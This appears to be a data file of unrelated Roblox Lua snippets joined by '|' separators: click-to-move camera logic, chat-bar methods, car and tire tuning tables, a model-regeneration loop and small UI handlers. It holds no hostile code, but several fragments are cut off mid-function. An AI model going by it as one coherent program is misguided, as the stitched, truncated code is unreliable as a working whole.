PathCompleteListener = thisPather.Finished:connect(function()
if AutoJumperInstance then
AutoJumperInstance:Stop()
end
if destinationGlobe then
if ExistingIndicator == destinationGlobe then
ExistingIndicator = nil
end
DebrisService:AddItem(destinationGlobe, 0)
destinationGlobe = nil
end
if hitChar then
local humanoid = findPlayerHumanoid(Player)
ShootCount = ShootCount + 1
local thisShoot = ShootCount
-- Do shoot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
if humanoid then
humanoid:MoveTo(hitPt)
end
end
local finishPos = torso and torso.CFrame.p --hitPt
if finishPos and startPos and tick() - Utility.GetLastInput() > 2 then
local exploreResults = ExploreWithRayCast(finishPos, ((startPos - finishPos) * Vector3.new(1,0,1)).unit)
-- Check for Nans etc..
if exploreResults[1] and exploreResults[1]["Vector"] and exploreResults[1]["Vector"].magnitude >= 0.5 and exploreResults[1]["Distance"] > 3 then
if CameraModule then
local rotatedCFrame = CameraModule:LookAtPreserveHeight(finishPos + exploreResults[1]["Vector"] * exploreResults[1]["Distance"])
local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame)
end
end
end
end)
PathFailedListener = thisPather.PathFailed:connect(function()
if AutoJumperInstance then
AutoJumperInstance:Stop()
end
if destinationGlobe then
FlashRed(destinationGlobe)
DebrisService:AddItem(destinationGlobe, 3)
end
end)
else
if hitPt then
-- Feedback here for when we don't have a good path
local failedGlobe = CreateDestinationIndicator(hitPt)
FlashRed(failedGlobe)
DebrisService:AddItem(failedGlobe, 1)
failedGlobe.Parent = camera
if ExistingIndicator == nil then
FailCount = FailCount + 1
if FailCount >= 3 then
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(true)
end
CleanupPath()
end
end
end
end
else
-- no hit pt
end
end
elseif #tapPositions >= 2 then
if camera then
ShootCount = ShootCount + 1
local thisShoot = ShootCount
-- Do shoot
local avgPoint = Utility.AveragePoints(tapPositions)
local unitRay = Utility.GetUnitRay(avgPoint.x, avgPoint.y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera)
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
end
end
end
local function CreateClickToMoveModule()
local this = {}
local LastStateChange = 0
local LastState = Enum.HumanoidStateType.Running
local FingerTouches = {}
local NumUnsunkTouches = 0
-- PC simulation
local mouse1Down = tick()
local mouse1DownPos = Vector2.new()
local mouse2Down = tick()
local mouse2DownPos = Vector2.new()
local mouse2Up = tick()
local movementKeys = {
[Enum.KeyCode.W] = true;
[Enum.KeyCode.A] = true;
[Enum.KeyCode.S] = true;
[Enum.KeyCode.D] = true;
[Enum.KeyCode.Up] = true;
[Enum.KeyCode.Down] = true;
}
local TapConn = nil
local InputBeganConn = nil
local InputChangedConn = nil
local InputEndedConn = nil
local HumanoidDiedConn = nil
local CharacterChildAddedConn = nil
local OnCharacterAddedConn = nil
local CharacterChildRemovedConn = nil
local RenderSteppedConn = nil
local function disconnectEvent(event)
if event then
event:disconnect()
end
end
local function DisconnectEvents()
disconnectEvent(TapConn)
disconnectEvent(InputBeganConn)
disconnectEvent(InputChangedConn)
disconnectEvent(InputEndedConn)
disconnectEvent(HumanoidDiedConn)
disconnectEvent(CharacterChildAddedConn)
disconnectEvent(OnCharacterAddedConn)
disconnectEvent(RenderSteppedConn)
disconnectEvent(CharacterChildRemovedConn)
pcall(function() RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate") end)
end
local function IsFinite(num)
return num == num and num ~= 1/0 and num ~= -1/0
end
local function findAngleBetweenXZVectors(vec2, vec1)
return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
end
-- Setup the camera
CameraModule = ClassicCameraModule()
do
-- Extend The Camera Module Class
function CameraModule:LookAtPreserveHeight(newLookAtPt)
local camera = workspace.CurrentCamera
local focus = camera.Focus.p
local cameraCFrame = camera.CoordinateFrame
local mag = Vector3.new(cameraCFrame.lookVector.x, 0, cameraCFrame.lookVector.z).magnitude
local newLook = (Vector3.new(newLookAtPt.x, focus.y, newLookAtPt.z) - focus).unit * mag
local flippedLook = newLook + Vector3.new(0, cameraCFrame.lookVector.y, 0)
local distance = (focus - camera.CoordinateFrame.p).magnitude
local newCamPos = focus - flippedLook.unit * distance
return CFrame.new(newCamPos, newCamPos + flippedLook)
end
function CameraModule:TweenCameraLook(desiredCFrame, speed)
local e = 2.718281828459
local function SCurve(t)
return 1/(1 + e^(-t*1.5))
end
local function easeOutSine(t, b, c, d)
if t >= d then return b + c end
return c * math.sin(t/d * (math.pi/2)) + b;
end
local theta, interper = CFrameInterpolator(CFrame.new(Vector3.new(), self:GetCameraLook()), desiredCFrame - desiredCFrame.p)
theta = Utility.Clamp(0, math.pi, theta)
local duration = 0.65 * SCurve(theta - math.pi/4) + 0.15
if speed then
duration = theta / speed
end
local start = tick()
local finish = start + duration
self.UpdateTweenFunction = function()
local currTime = tick() - start
local alpha = Utility.Clamp(0, 1, easeOutSine(currTime, 0, 1, duration))
local newCFrame = interper(alpha)
local y = findAngleBetweenXZVectors(newCFrame.lookVector, self:GetCameraLook())
if IsFinite(y) and math.abs(y) > 0.0001 then
self.RotateInput = self.RotateInput + Vector2.new(y, 0)
end
return (currTime >= finish or alpha >= 1)
end
end
end
--- Done Extending
local function OnTouchBegan(input, processed)
if FingerTouches[input] == nil and not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
FingerTouches[input] = processed
end
local function OnTouchChanged(input, processed)
if FingerTouches[input] == nil then
FingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
end
local function OnTouchEnded(input, processed)
--print("Touch tap fake:" , processed)
--if not processed then
-- OnTap({input.Position})
--end
if FingerTouches[input] ~= nil and FingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
FingerTouches[input] = nil
end
local function OnCharacterAdded(character)
DisconnectEvents()
InputBeganConn = UIS.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchBegan(input, processed)
-- Give back controls when they tap both sticks
local wasInBottomLeft = IsInBottomLeft(input.Position)
local wasInBottomRight = IsInBottomRight(input.Position)
if wasInBottomRight or wasInBottomLeft then
for otherInput, _ in pairs(FingerTouches) do
if otherInput ~= input then
local otherInputInLeft = IsInBottomLeft(otherInput.Position)
local otherInputInRight = IsInBottomRight(otherInput.Position)
if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(true)
end
return
end
end
end
end
end
-- Cancel path when you use the keyboard controls.
if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then
CleanupPath()
end
if input.UserInputType == Enum.UserInputType.MouseButton1 then
mouse1Down = tick()
mouse1DownPos = input.Position
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
mouse2Down = tick()
mouse2DownPos = input.Position
end
end)
InputChangedConn = UIS.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchChanged(input, processed)
end
end)
InputEndedConn = UIS.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchEnded(input, processed)
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
mouse2Up = tick()
local currPos = input.Position
if mouse2Up - mouse2Down < 0.25 and (currPos - mouse2DownPos).magnitude < 5 then
local positions = {currPos}
OnTap(positions)
end
end
end)
TapConn = UIS.TouchTap:connect(function(touchPositions, processed)
if not processed then
OnTap(touchPositions)
end
end)
if not UIS.TouchEnabled then -- PC
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
end
AutoJumperInstance = AutoJumper()
end
local function Update()
if CameraModule then
if CameraModule.UserPanningTheCamera then
CameraModule.UpdateTweenFunction = nil
else
if CameraModule.UpdateTweenFunction then
local done = CameraModule.UpdateTweenFunction()
if done then
CameraModule.UpdateTweenFunction = nil
end
end
end
CameraModule:Update()
end
end
local success = pcall(function() RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update) end)
if not success then
if RenderSteppedConn then
RenderSteppedConn:disconnect()
end
RenderSteppedConn = RunService.RenderStepped:connect(Update)
end
local function OnCharacterChildAdded(child)
if UIS.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = true
end
end
if child:IsA('Humanoid') then
disconnectEvent(HumanoidDiedConn)
HumanoidDiedConn = child.Died:connect(function()
DebrisService:AddItem(ExistingIndicator, 1)
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
end
end)
end
end
CharacterChildAddedConn = character.ChildAdded:connect(function(child)
OnCharacterChildAdded(child)
end)
CharacterChildRemovedConn = character.ChildRemoved:connect(function(child)
if UIS.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end)
for _, child in pairs(character:GetChildren()) do
OnCharacterChildAdded(child)
end
end
local Running = false
function this:Stop()
if Running then
DisconnectEvents()
CleanupPath()
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
end
if CameraModule then
CameraModule.UpdateTweenFunction = nil
CameraModule:SetEnabled(false)
end
-- Restore tool activation on shutdown
if UIS.TouchEnabled then
local character = Player.Character
if character then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end
end
Running = false
end
end
function this:Start()
if not Running then
if Player.Character then -- retro-listen
OnCharacterAdded(Player.Character)
end
OnCharacterAddedConn = Player.CharacterAdded:connect(OnCharacterAdded)
if CameraModule then
CameraModule:SetEnabled(true)
end
Running = true
end
end
return this
end
return CreateClickToMoveModule
|
--/////////////////////////////////////////////////////////--
|
local curSize
local create
local Expand
local doHide
local doClose
local dragSize
local isVisible
local DoRefresh
local getNextPos
local wallPosition
local setPosition
local checkMouse
local isInFrame
local setSize
local apiIfy
client = nil
cPcall = nil
Pcall = nil
Routine = nil
service = nil
GetEnv = nil
local function isGui(child)
return child:IsA("GuiObject");
end
|
--//Toggle//--
|
Button.MouseButton1Click:Connect(function()
if SettingsMenu.Visible == false then
SettingsMenu.Visible = true
else
SettingsMenu.Visible = false
end
end)
|
---Place this INSIDE the model. Don't replace the model name or anything.
------------------------------------------------------------------------------------------
|
object = script.Parent
if (object ~= nil) and (object ~= game.Workspace) then
model = object
messageText = "regenerating " .. model.Name .. ""
message = Instance.new("Message")
message.Text = messageText
backup = model:clone() -- Make the backup
waitTime = 1740 --Time to wait between regenerations
wait(math.random(0, waitTime))
while true do
wait(waitTime) -- Regen wait time
message.Parent = game.Workspace
model:remove()
wait(2.5) -- Display regen message for this amount of time
model = backup:clone()
model.Parent = game.Workspace
model:makeJoints()
message.Parent = nil
end
end
|
-- Deprecated in favour of GetMessageModeTextButton
-- Retained for compatibility reasons.
|
function methods:GetMessageModeTextLabel()
return self:GetMessageModeTextButton()
end
function methods:IsFocused()
if self.UserHasChatOff then
return false
end
return self:GetTextBox():IsFocused()
end
function methods:GetVisible()
return self.GuiObject.Visible
end
function methods:CaptureFocus()
if not self.UserHasChatOff then
self:GetTextBox():CaptureFocus()
end
end
function methods:ReleaseFocus(didRelease)
self:GetTextBox():ReleaseFocus(didRelease)
end
function methods:ResetText()
self:GetTextBox().Text = ""
end
function methods:SetText(text)
self:GetTextBox().Text = text
end
function methods:GetEnabled()
return self.GuiObject.Visible
end
function methods:SetEnabled(enabled)
if self.UserHasChatOff then
-- The chat bar can not be removed if a user has chat turned off so that
-- the chat bar can display a message explaining that chat is turned off.
self.GuiObject.Visible = true
else
self.GuiObject.Visible = enabled
end
end
function methods:SetTextLabelText(text)
if not self.UserHasChatOff then
self.TextLabel.Text = text
end
end
function methods:SetTextBoxText(text)
self.TextBox.Text = text
end
function methods:GetTextBoxText()
return self.TextBox.Text
end
function methods:ResetSize()
self.TargetYSize = 0
self:TweenToTargetYSize()
end
function methods:CalculateSize()
if self.CalculatingSizeLock then
return
end
self.CalculatingSizeLock = true
local lastPos = self.GuiObject.Size
self.GuiObject.Size = UDim2.new(1, 0, 0, 1000)
local textSize = nil
local bounds = nil
if self:IsFocused() or self.TextBox.Text ~= "" then
textSize = self.TextBox.textSize
bounds = self.TextBox.TextBounds.Y
else
textSize = self.TextLabel.textSize
bounds = self.TextLabel.TextBounds.Y
end
self.GuiObject.Size = lastPos
local newTargetYSize = bounds - textSize
if (self.TargetYSize ~= newTargetYSize) then
self.TargetYSize = newTargetYSize
self:TweenToTargetYSize()
end
self.CalculatingSizeLock = false
end
function methods:TweenToTargetYSize()
local endSize = UDim2.new(1, 0, 1, self.TargetYSize)
local curSize = self.GuiObject.Size
local curAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y
self.GuiObject.Size = endSize
local endAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y
self.GuiObject.Size = curSize
local pixelDistance = math.abs(endAbsoluteSizeY - curAbsoluteSizeY)
local tweeningTime = math.min(1, (pixelDistance * (1 / self.TweenPixelsPerSecond))) -- pixelDistance * (seconds per pixels)
local success = pcall(function() self.GuiObject:TweenSize(endSize, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweeningTime, true) end)
if (not success) then
self.GuiObject.Size = endSize
end
end
function methods:SetTextSize(textSize)
if not self:IsInCustomState() then
if self.TextBox then
self.TextBox.TextSize = textSize
end
if self.TextLabel then
self.TextLabel.TextSize = textSize
end
end
end
function methods:GetDefaultChannelNameColor()
if ChatSettings.DefaultChannelNameColor then
return ChatSettings.DefaultChannelNameColor
end
return Color3.fromRGB(35, 76, 142)
end
function methods:SetChannelTarget(targetChannel)
local messageModeTextButton = self.GuiObjects.MessageModeTextButton
local textBox = self.TextBox
local textLabel = self.TextLabel
self.TargetChannel = targetChannel
if not self:IsInCustomState() then
if targetChannel ~= ChatSettings.GeneralChannelName then
messageModeTextButton.Size = UDim2.new(0, 1000, 1, 0)
messageModeTextButton.Text = string.format("[%s] ", targetChannel)
local channelNameColor = self:GetChannelNameColor(targetChannel)
if channelNameColor then
messageModeTextButton.TextColor3 = channelNameColor
else
messageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor()
end
local xSize = messageModeTextButton.TextBounds.X
messageModeTextButton.Size = UDim2.new(0, xSize, 1, 0)
textBox.Size = UDim2.new(1, -xSize, 1, 0)
textBox.Position = UDim2.new(0, xSize, 0, 0)
textLabel.Size = UDim2.new(1, -xSize, 1, 0)
textLabel.Position = UDim2.new(0, xSize, 0, 0)
else
messageModeTextButton.Text = ""
messageModeTextButton.Size = UDim2.new(0, 0, 0, 0)
textBox.Size = UDim2.new(1, 0, 1, 0)
textBox.Position = UDim2.new(0, 0, 0, 0)
textLabel.Size = UDim2.new(1, 0, 1, 0)
textLabel.Position = UDim2.new(0, 0, 0, 0)
end
end
end
function methods:IsInCustomState()
return self.InCustomState
end
function methods:ResetCustomState()
if self.InCustomState then
self.CustomState:Destroy()
self.CustomState = nil
self.InCustomState = false
self.ChatBarParentFrame:ClearAllChildren()
self:CreateGuiObjects(self.ChatBarParentFrame)
self:SetTextLabelText(
ChatLocalization:Get(
"GameChat_ChatMain_ChatBarText",
'To chat click here or press "/" key'
)
)
end
end
function methods:GetCustomMessage()
if self.InCustomState then
return self.CustomState:GetMessage()
end
return nil
end
function methods:CustomStateProcessCompletedMessage(message)
if self.InCustomState then
return self.CustomState:ProcessCompletedMessage()
end
return false
end
function methods:FadeOutBackground(duration)
self.AnimParams.Background_TargetTransparency = 1
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self:FadeOutText(duration)
end
function methods:FadeInBackground(duration)
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self:FadeInText(duration)
end
function methods:FadeOutText(duration)
self.AnimParams.Text_TargetTransparency = 1
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:FadeInText(duration)
self.AnimParams.Text_TargetTransparency = 0.4
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:AnimGuiObjects()
self.GuiObject.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.TextBoxFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.TextLabel.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.GuiObjects.TextBox.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.GuiObjects.MessageModeTextButton.TextTransparency = self.AnimParams.Text_CurrentTransparency
end
function methods:InitializeAnimParams()
self.AnimParams.Text_TargetTransparency = 0.4
self.AnimParams.Text_CurrentTransparency = 0.4
self.AnimParams.Text_NormalizedExptValue = 1
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_CurrentTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = 1
end
function methods:Update(dtScale)
self.AnimParams.Text_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Text_CurrentTransparency,
self.AnimParams.Text_TargetTransparency,
self.AnimParams.Text_NormalizedExptValue,
dtScale
)
self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Background_CurrentTransparency,
self.AnimParams.Background_TargetTransparency,
self.AnimParams.Background_NormalizedExptValue,
dtScale
)
self:AnimGuiObjects()
end
function methods:SetChannelNameColor(channelName, channelNameColor)
self.ChannelNameColors[channelName] = channelNameColor
if self.GuiObjects.MessageModeTextButton.Text == channelName then
self.GuiObjects.MessageModeTextButton.TextColor3 = channelNameColor
end
end
function methods:GetChannelNameColor(channelName)
return self.ChannelNameColors[channelName]
end
|
--Misc
|
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
-- Mapping from movement mode and lastInputType enum values to control modules to avoid huge if elseif switching
|
local movementEnumToModuleMap = {
[Enum.TouchMovementMode.DPad] = TouchDPad, -- Map to DT
[Enum.DevTouchMovementMode.DPad] = TouchDPad, -- Map to DT
[Enum.TouchMovementMode.Thumbpad] = TouchThumbpad, -- Map to DT
[Enum.DevTouchMovementMode.Thumbpad] = TouchThumbpad, -- Map to DT
[Enum.TouchMovementMode.Thumbstick] = TouchThumbstick, -- Map to DT
[Enum.DevTouchMovementMode.Thumbstick] = TouchThumbstick, -- Map to DT
[Enum.TouchMovementMode.DynamicThumbstick] = DynamicThumbstick,
[Enum.DevTouchMovementMode.DynamicThumbstick] = DynamicThumbstick,
[Enum.TouchMovementMode.ClickToMove] = ClickToMove,
[Enum.DevTouchMovementMode.ClickToMove] = ClickToMove,
-- Current default
[Enum.TouchMovementMode.Default] = DynamicThumbstick,
[Enum.ComputerMovementMode.Default] = Keyboard,
[Enum.ComputerMovementMode.KeyboardMouse] = Keyboard,
[Enum.DevComputerMovementMode.KeyboardMouse] = Keyboard,
[Enum.DevComputerMovementMode.Scriptable] = nil,
[Enum.ComputerMovementMode.ClickToMove] = ClickToMove,
[Enum.DevComputerMovementMode.ClickToMove] = ClickToMove,
}
|
--[Lokalizacje]
--[Góra]
|
g1 = script.Parent.Parent.gura1
legansio = true
g2 = script.Parent.Parent.gura2
legansio = true
g3 = script.Parent.Parent.gura3
legansio = true
g4 = script.Parent.Parent.gura4
legansio = true
g5 = script.Parent.Parent.gura5
legansio = true
g6 = script.Parent.Parent.gura6
legansio = true
g7 = script.Parent.Parent.gura7
legansio = true
g8 = script.Parent.Parent.gura8
legansio = true
g9 = script.Parent.Parent.gura9
legansio = true
g10 = script.Parent.Parent.gura10
legansio = true
g11 = script.Parent.Parent.gura11
legansio = true
g12 = script.Parent.Parent.gura12
legansio = true
g13 = script.Parent.Parent.gura13
legansio = true
g14 = script.Parent.Parent.gura14
legansio = true
s1 = script.Parent.Parent.s1
legansio = true
q1 = script.Parent.Parent.q1
legansio = true
|
--Tune
|
local _Select = "AllSeason" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive
local _Custom = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .2 , --How fast your tires will degrade (Front)
FTargetFriction = 1 , --Friction in optimal conditions (Front)
FMinFriction = 0.45 , --Friction in worst conditions (Front)
RWearSpeed = .2 , --How fast your tires will degrade (Rear)
RTargetFriction = 1.2 , --Friction in optimal conditions (Rear)
RMinFriction = 0.60 , --Friction in worst conditions (Rear)
--Tire Slip
TCSOffRatio = 1 , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses.
WheelLockRatio = 1/6 , --How much grip your car will lose when locking the wheels
WheelspinRatio = 1/1.2 , --How much grip your car will lose when spinning the wheels
--Wheel Properties
FFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS)
RFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS)
FLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front)
RLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear)
FElasticity = 0 , --How much your wheel will bounce (Front) (PGS)
RElasticity = 0 , --How much your wheel will bounce (Rear) (PGS)
FLgcyElasticity = 0 , --How much your wheel will bounce (Front)
RLgcyElasticity = 0 , --How much your wheel will bounce (Rear)
FElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS)
RElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS)
FLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front)
RLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear)
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _AllSeason = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .2 , --Don't change this
FTargetFriction = .6 , -- .58 to .63
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .2 , --Don't change this
RTargetFriction = .6 , -- .58 to .63
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 2 , --Don't change this
RFrictionWeight = 2 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _Slicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .6 , --Don't change this
FTargetFriction = .93 , -- .88 to .93
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .6 , --Don't change this
RTargetFriction = .93 , -- .88 to .93
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _SemiSlicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .5 , --Don't change this
FTargetFriction = .78 , -- .73 to .78
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .5 , --Don't change this
RTargetFriction = .78 , -- .73 to .78
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _AllTerrain = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .3 , --Don't change this
FTargetFriction = .5 , -- .48 to .53
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .3 , --Don't change this
RTargetFriction = .5 , -- .48 to .53
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 10 , --Don't change this
RFrictionWeight = 10 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _DragRadials = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = 30 , --Don't change this
FTargetFriction = 1.2 , -- 1.18 to 1.23
FMinFriction = 0.35 , --Don't change this
RWearSpeed = 30 , --Don't change this
RTargetFriction = 1.2 , -- 1.18 to 1.23
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 1 , --Don't change this
RFrictionWeight = 1 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 20 , --Don't change this
}
local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local cValues = script.Parent.Parent:WaitForChild("Values")
local _WHEELTUNE = _AllSeason
if _Select == "DragRadials" then
_WHEELTUNE = _DragRadials
elseif _Select == "Custom" then
_WHEELTUNE = _Custom
elseif _Select == "AllTerrain" then
_WHEELTUNE = _AllTerrain
elseif _Select == "Slicks" then
_WHEELTUNE = _Slicks
elseif _Select == "SemiSlicks" then
_WHEELTUNE = _SemiSlicks
else
_WHEELTUNE = _AllSeason
end
car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed
car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction
car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction
car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight
car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed
car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction
car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction
car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight
car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio
car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio
car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio
car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
|
--if u wanna add more lights make sure to use the same script format u see below
--ex. (if script.Parent.Lights.(light).(partname).Material == Enum.Material.Neon then etc...)
|
while true do
wait()
if script.Parent.Parent.Lights.FB.Light.enabled == true then
script.Parent.Material = Enum.Material.Neon
else
script.Parent.Material = Enum.Material.SmoothPlastic
end
end
|
-- print("Keyframe : ".. FrameName)
|
local RepeatAnim = StopAllAnimations()
local AnimSpeed = CurrentAnimSpeed
PlayAnimation(RepeatAnim, 0, Humanoid)
SetAnimationSpeed(AnimSpeed)
end
end
|
--fetching effectlib
|
local common_modules = game.ReplicatedStorage.CommonModules
EFFECT_LIB = require(common_modules.EffectLib)
|
--Robux
|
bux1.MouseEnter:connect(function()
bux1.BorderColor3 = Color3.new(200/255,0,0)
end)
bux1.MouseLeave:connect(function()
bux1.BorderColor3 = Color3.new(0,0,0)
end)
bux2.MouseEnter:connect(function()
